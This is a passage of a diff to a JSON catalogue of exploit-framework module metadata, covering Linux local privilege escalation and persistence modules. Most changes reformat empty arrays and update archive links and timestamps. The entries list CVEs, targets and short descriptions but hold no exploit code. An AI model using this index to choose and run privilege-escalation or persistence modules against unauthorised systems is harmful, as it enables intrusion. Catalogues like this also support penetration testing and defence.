"platform": "Linux,Unix", "arch": "cmd, x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Unix (In-Memory)", "Linux (Dropper) x64", @@ -90118,20 +79496,14 @@ "artifacts-on-disk" ] }, - "session_types": [ - - ], + "session_types": [], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/exim4_deliver_message_priv_esc": { "name": "Exim 4.87 - 4.91 Local Privilege Escalation", "fullname": "exploit/linux/local/exim4_deliver_message_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-06-05", "type": "exploit", @@ -90150,12 +79522,8 @@ "platform": "Linux", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Exim 4.87 - 4.91" ], @@ -90166,23 +79534,18 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/f5_create_user": { "name": "F5 Big-IP Create Admin User", "fullname": "exploit/linux/local/f5_create_user", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2022-11-16", "type": "exploit", @@ -90198,12 +79561,8 @@ "platform": "Linux,Python,Unix", "arch": "cmd, python", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Auto" ], @@ -90215,31 +79574,21 @@ "post_auth": true, "default_credential": false, "notes": { - "Stability": [ - - ], - "Reliability": [ - - ], - "SideEffects": [ - - ] + "Stability": [], + "Reliability": [], + "SideEffects": [] }, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/gameoverlay_privesc": { "name": "GameOver(lay) Privilege Escalation and Container Escape", "fullname": "exploit/linux/local/gameoverlay_privesc", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2023-07-26", "type": "exploit", @@ -90262,12 +79611,8 @@ "platform": "Linux,Unix", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Linux_Binary", "Linux_Command" @@ -90295,16 +79640,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/glibc_ld_audit_dso_load_priv_esc": { "name": "glibc LD_AUDIT Arbitrary DSO Load Privilege Escalation", "fullname": "exploit/linux/local/glibc_ld_audit_dso_load_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-10-18", "type": "exploit", @@ -90335,12 +79676,8 @@ "platform": "Linux", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Linux x86", @@ -90369,16 +79706,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/glibc_origin_expansion_priv_esc": { "name": "glibc '$ORIGIN' Expansion Privilege Escalation", "fullname": "exploit/linux/local/glibc_origin_expansion_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2010-10-18", "type": "exploit", @@ -90399,12 +79732,8 @@ "platform": "Linux", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Linux x86", @@ -90433,16 +79762,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/glibc_realpath_priv_esc": { "name": "glibc 'realpath()' Privilege Escalation", "fullname": "exploit/linux/local/glibc_realpath_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-01-16", "type": "exploit", @@ -90465,12 +79790,8 @@ "platform": "Linux", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Auto" ], @@ -90491,16 +79812,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/glibc_tunables_priv_esc": { "name": "Glibc Tunables Privilege Escalation CVE-2023-4911 (aka Looney Tunables)", "fullname": "exploit/linux/local/glibc_tunables_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-10-03", "type": "exploit", @@ -90520,12 +79837,8 @@ "platform": "Linux,Unix", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Auto" ], @@ -90540,9 +79853,7 @@ "Stability": [ "crash-safe" ], - "SideEffects": [ - - ], + "SideEffects": [], "Reliability": [ "repeatable-session" ] @@ -90552,16 +79863,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/hp_smhstart": { "name": "HP System Management Homepage Local Privilege Escalation", "fullname": "exploit/linux/local/hp_smhstart", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-03-30", "type": "exploit", @@ -90575,12 +79882,8 @@ "platform": "Linux", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "HP System Management Homepage 7.1.1", "HP System Management Homepage 7.1.2" @@ -90592,22 +79895,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/hp_xglance_priv_esc": { "name": "HP Performance Monitoring xglance Priv Esc", "fullname": "exploit/linux/local/hp_xglance_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2014-11-19", "type": "exploit", @@ -90630,12 +79928,8 @@ "platform": "Linux", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Linux x86", @@ -90664,16 +79958,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/juju_run_agent_priv_esc": { "name": "Juju-run Agent Privilege Escalation", "fullname": "exploit/linux/local/juju_run_agent_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-04-13", "type": "exploit", @@ -90691,12 +79981,8 @@ "platform": "Linux", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Auto" ], @@ -90707,23 +79993,18 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/kloxo_lxsuexec": { "name": "Kloxo Local Privilege Escalation", "fullname": "exploit/linux/local/kloxo_lxsuexec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-09-18", "type": "exploit", @@ -90740,12 +80021,8 @@ "platform": "Linux", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Kloxo 6.1.12" ], @@ -90756,22 +80033,17 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/ktsuss_suid_priv_esc": { "name": "ktsuss suid Privilege Escalation", "fullname": "exploit/linux/local/ktsuss_suid_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-08-13", "type": "exploit", @@ -90789,12 +80061,8 @@ "platform": "Linux", "arch": "x86, x64, armle, aarch64, ppc, mipsle, mipsbe", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Auto" ], @@ -90818,16 +80086,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/lastore_daemon_dbus_priv_esc": { "name": "lastore-daemon D-Bus Privilege Escalation", "fullname": "exploit/linux/local/lastore_daemon_dbus_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-02-02", "type": "exploit", @@ -90843,12 +80107,8 @@ "platform": "Linux", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Auto" ], @@ -90859,23 +80119,18 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/libuser_roothelper_priv_esc": { "name": "Libuser roothelper Privilege Escalation", "fullname": "exploit/linux/local/libuser_roothelper_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2015-07-24", "type": "exploit", @@ -90896,12 +80151,8 @@ "platform": "Linux", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Auto" ], @@ -90931,16 +80182,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/motd_persistence": { "name": "update-motd.d Persistence", "fullname": "exploit/linux/local/motd_persistence", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "1999-01-01", "type": "exploit", @@ -90954,12 +80201,8 @@ "platform": "Linux,Unix", "arch": "cmd", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -90971,9 +80214,7 @@ "post_auth": false, "default_credential": false, "notes": { - "Stability": [ - - ], + "Stability": [], "Reliability": [ "event-dependent" ], @@ -90986,16 +80227,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/nested_namespace_idmap_limit_priv_esc": { "name": "Linux Nested User Namespace idmap Limit Local Privilege Escalation", "fullname": "exploit/linux/local/nested_namespace_idmap_limit_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2018-11-15", "type": "exploit", @@ -91022,12 +80259,8 @@ "platform": "Linux", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Auto" ], @@ -91054,16 +80287,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/netfilter_nft_set_elem_init_privesc": { "name": "Netfilter nft_set_elem_init Heap Overflow Privilege Escalation", "fullname": "exploit/linux/local/netfilter_nft_set_elem_init_privesc", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2022-02-07", "type": "exploit", @@ -91082,12 +80311,8 @@ "platform": "Linux", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Auto" ], @@ -91115,16 +80340,12 @@ "shell" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/netfilter_priv_esc_ipv4": { "name": "Linux Kernel 4.6.3 Netfilter Privilege Escalation", "fullname": "exploit/linux/local/netfilter_priv_esc_ipv4", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2016-06-03", "type": "exploit", @@ -91146,12 +80367,8 @@ "platform": "Linux", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Ubuntu" ], @@ -91175,16 +80392,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/netfilter_xtables_heap_oob_write_priv_esc": { "name": "Netfilter x_tables Heap OOB Write Privilege Escalation", "fullname": "exploit/linux/local/netfilter_xtables_heap_oob_write_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2021-07-07", "type": "exploit", @@ -91196,23 +80409,19 @@ "description": "A heap out-of-bounds write affecting Linux since v2.6.19-rc1 was discovered in net/netfilter/x_tables.c.\n This allows an attacker to gain privileges or cause a DoS (via heap memory corruption) through user name space.\n Kernels up to 5.11 (including) are vulnerable.\n More information about vulnerable kernels is\n available at https://nvd.nist.gov/vuln/detail/CVE-2021-22555#vulnConfigurationsArea", "references": [ "CVE-2021-22555", - "URL-https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html", + "URL-http://web.archive.org/web/20250116045131/https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html", "URL-https://nvd.nist.gov/vuln/detail/CVE-2021-22555", "URL-https://ubuntu.com/security/CVE-2021-22555" ], "platform": "Linux", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], - "mod_time": "2022-04-19 20:42:23 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/linux/local/netfilter_xtables_heap_oob_write_priv_esc.rb", "is_install_path": true, "ref_name": "linux/local/netfilter_xtables_heap_oob_write_priv_esc", @@ -91235,16 +80444,12 @@ "shell" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/network_manager_vpnc_username_priv_esc": { "name": "Network Manager VPNC Username Privilege Escalation", "fullname": "exploit/linux/local/network_manager_vpnc_username_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2018-07-26", "type": "exploit", @@ -91268,12 +80473,8 @@ "platform": "Linux", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Auto" ], @@ -91284,23 +80485,18 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/ntfs3g_priv_esc": { "name": "Debian/Ubuntu ntfs-3g Local Privilege Escalation", "fullname": "exploit/linux/local/ntfs3g_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2017-01-05", "type": "exploit", @@ -91317,12 +80513,8 @@ "platform": "Linux", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Linux x86", "Linux x64" @@ -91334,23 +80526,18 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/omniresolve_suid_priv_esc": { "name": "Micro Focus (HPE) Data Protector SUID Privilege Escalation", "fullname": "exploit/linux/local/omniresolve_suid_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-09-13", "type": "exploit", @@ -91365,12 +80552,8 @@ "platform": "Linux", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Micro Focus (HPE) Data Protector <= 10.40 build 118" ], @@ -91397,16 +80580,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/overlayfs_priv_esc": { "name": "Overlayfs Privilege Escalation", "fullname": "exploit/linux/local/overlayfs_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2015-06-16", "type": "exploit", @@ -91424,12 +80603,8 @@ "platform": "Linux", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "CVE-2015-1328", "CVE-2015-8660" @@ -91441,23 +80616,18 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/pihole_remove_commands_lpe": { "name": "Pi-Hole Remove Commands Linux Priv Esc", "fullname": "exploit/linux/local/pihole_remove_commands_lpe", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2021-04-20", "type": "exploit", @@ -91474,12 +80644,8 @@ "platform": "Linux,Unix", "arch": "cmd", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "DHCP", "DNS", @@ -91509,16 +80675,12 @@ "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/pkexec": { "name": "Linux PolicyKit Race Condition Privilege Escalation", "fullname": "exploit/linux/local/pkexec", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2011-04-01", "type": "exploit", @@ -91535,12 +80697,8 @@ "platform": "Linux", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Linux x86", "Linux x64" @@ -91552,23 +80710,18 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/polkit_dbus_auth_bypass": { "name": "Polkit D-Bus Authentication Bypass", "fullname": "exploit/linux/local/polkit_dbus_auth_bypass", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-06-03", "type": "exploit", @@ -91586,12 +80739,8 @@ "platform": "Linux,Unix", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -91621,16 +80770,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/progress_flowmon_sudo_privesc_2024": { "name": "Progress Flowmon Local sudo privilege escalation", "fullname": "exploit/linux/local/progress_flowmon_sudo_privesc_2024", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-03-19", "type": "exploit", @@ -91645,12 +80790,8 @@ "platform": "Linux,Unix", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -91678,16 +80819,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/progress_kemp_loadmaster_sudo_privesc_2024": { "name": "Kemp LoadMaster Local sudo privilege escalation", "fullname": "exploit/linux/local/progress_kemp_loadmaster_sudo_privesc_2024", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-03-19", "type": "exploit", @@ -91703,12 +80840,8 @@ "platform": "Linux,Unix", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Dropper", "Command" @@ -91737,16 +80870,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/ptrace_sudo_token_priv_esc": { "name": "ptrace Sudo Token Privilege Escalation", "fullname": "exploit/linux/local/ptrace_sudo_token_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-03-24", "type": "exploit", @@ -91768,12 +80897,8 @@ "platform": "Linux", "arch": "x86, x64, armle, aarch64, ppc, mipsle, mipsbe", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Auto" ], @@ -91784,23 +80909,18 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/ptrace_traceme_pkexec_helper": { "name": "Linux Polkit pkexec helper PTRACE_TRACEME local root exploit", "fullname": "exploit/linux/local/ptrace_traceme_pkexec_helper", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-07-04", "type": "exploit", @@ -91820,12 +80940,8 @@ "platform": "Linux", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Auto" ], @@ -91849,16 +80965,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/rc_local_persistence": { "name": "rc.local Persistence", "fullname": "exploit/linux/local/rc_local_persistence", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "1980-10-01", "type": "exploit", @@ -91866,18 +80978,12 @@ "Eliott Teissonniere" ], "description": "This module will edit /etc/rc.local in order to persist a payload.\n The payload will be executed on the next reboot.", - "references": [ - - ], + "references": [], "platform": "Linux,Unix", "arch": "cmd", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -91888,23 +80994,18 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/rds_atomic_free_op_null_pointer_deref_priv_esc": { "name": "Reliable Datagram Sockets (RDS) rds_atomic_free_op NULL pointer dereference Privilege Escalation", "fullname": "exploit/linux/local/rds_atomic_free_op_null_pointer_deref_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2018-11-01", "type": "exploit", @@ -91931,12 +81032,8 @@ "platform": "Linux", "arch": "x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Auto" ], @@ -91960,9 +81057,7 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/rds_rds_page_copy_user_priv_esc": { "name": "Reliable Datagram Sockets (RDS) rds_page_copy_user Privilege Escalation", @@ -91991,12 +81086,8 @@ "platform": "Linux", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Auto" ], @@ -92026,16 +81117,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/recvmmsg_priv_esc": { "name": "Linux Kernel recvmmsg Privilege Escalation", "fullname": "exploit/linux/local/recvmmsg_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2014-02-02", "type": "exploit", @@ -92054,12 +81141,8 @@ "platform": "Linux", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Auto" ], @@ -92070,23 +81153,18 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "shell", "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/reptile_rootkit_reptile_cmd_priv_esc": { "name": "Reptile Rootkit reptile_cmd Privilege Escalation", "fullname": "exploit/linux/local/reptile_rootkit_reptile_cmd_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2018-10-29", "type": "exploit", @@ -92102,12 +81180,8 @@ "platform": "Linux", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Auto" ], @@ -92131,16 +81205,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/runc_cwd_priv_esc": { "name": "runc (docker) File Descriptor Leak Privilege Escalation", "fullname": "exploit/linux/local/runc_cwd_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-01-31", "type": "exploit", @@ -92155,22 +81225,18 @@ "URL-https://snyk.io/blog/cve-2024-21626-runc-process-cwd-container-breakout/", "URL-https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv", "URL-https://security-tracker.debian.org/tracker/CVE-2024-21626", - "URL-https://ubuntu.com/security/CVE-2024-21626", + "URL-http://web.archive.org/web/20241006225740/https://ubuntu.com/security/CVE-2024-21626", "CVE-2024-21626" ], "platform": "Linux", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Auto" ], - "mod_time": "2025-01-09 09:59:09 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/linux/local/runc_cwd_priv_esc.rb", "is_install_path": true, "ref_name": "linux/local/runc_cwd_priv_esc", @@ -92196,16 +81262,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/saltstack_salt_minion_deployer": { "name": "Saltstack Minion Payload Deployer", "fullname": "exploit/linux/local/saltstack_salt_minion_deployer", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2011-03-19", "type": "exploit", @@ -92214,18 +81276,12 @@ "c2Vlcgo" ], "description": "This exploit module uses saltstack salt to deploy a payload and run it\n on all targets which have been selected (default all).\n Currently only works against nix targets.", - "references": [ - - ], + "references": [], "platform": "Linux,Unix", "arch": "x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Auto" ], @@ -92253,16 +81309,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/service_persistence": { "name": "Service Persistence", "fullname": "exploit/linux/local/service_persistence", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "1983-01-01", "type": "exploit", @@ -92277,12 +81329,8 @@ "platform": "Linux,Unix", "arch": "cmd", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Auto", "System V", @@ -92298,22 +81346,15 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, - "session_types": [ - - ], + "notes": {}, + "session_types": [], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/servu_ftp_server_prepareinstallation_priv_esc": { "name": "Serv-U FTP Server prepareinstallation Privilege Escalation", "fullname": "exploit/linux/local/servu_ftp_server_prepareinstallation_priv_esc", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-06-05", "type": "exploit", @@ -92328,23 +81369,19 @@ "PACKETSTORM-153333", "URL-https://github.com/guywhataguy/CVE-2019-12181", "URL-https://github.com/bcoles/local-exploits/tree/master/CVE-2019-12181", - "URL-https://blog.vastart.dev/2019/06/cve-2019-12181-serv-u-exploit-writeup.html", + "URL-http://web.archive.org/web/20200803153621/https://blog.vastart.dev/2019/06/cve-2019-12181-serv-u-exploit-writeup.html", "URL-https://documentation.solarwinds.com/en/success_center/servu/Content/Release_Notes/Servu_15-1-7_release_notes.htm", - "URL-https://support.solarwinds.com/SuccessCenter/s/article/Serv-U-Potential-elevation-of-privileges-on-Linux-systems" + "URL-http://web.archive.org/web/20250208173448/https://support.solarwinds.com/SuccessCenter/s/article/Serv-U-Potential-elevation-of-privileges-on-Linux-systems" ], "platform": "Linux", "arch": "x86, x64, armle, aarch64, ppc, mipsle, mipsbe", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Auto" ], - "mod_time": "2023-02-02 18:17:02 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/linux/local/servu_ftp_server_prepareinstallation_priv_esc.rb", "is_install_path": true, "ref_name": "linux/local/servu_ftp_server_prepareinstallation_priv_esc", @@ -92364,16 +81401,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/sock_sendpage": { "name": "Linux Kernel Sendpage Local Privilege Escalation", "fullname": "exploit/linux/local/sock_sendpage", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-08-13", "type": "exploit", @@ -92396,12 +81429,8 @@ "platform": "Linux", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Linux x86" ], @@ -92425,16 +81454,12 @@ "meterpreter" ], "needs_cleanup": true, - "actions": [ - - ] + "actions": [] }, "exploit_linux/local/sophos_wpa_clear_keys": { "name": "Sophos Web Protection Appliance clear_keys.pl Local Privilege Escalation", "fullname": "exploit/linux/local/sophos_wpa_clear_keys", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-09-06", "type": "exploit", @@ -92452,12 +81477,8 @@ "platform": "Linux", "arch": "x86", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + 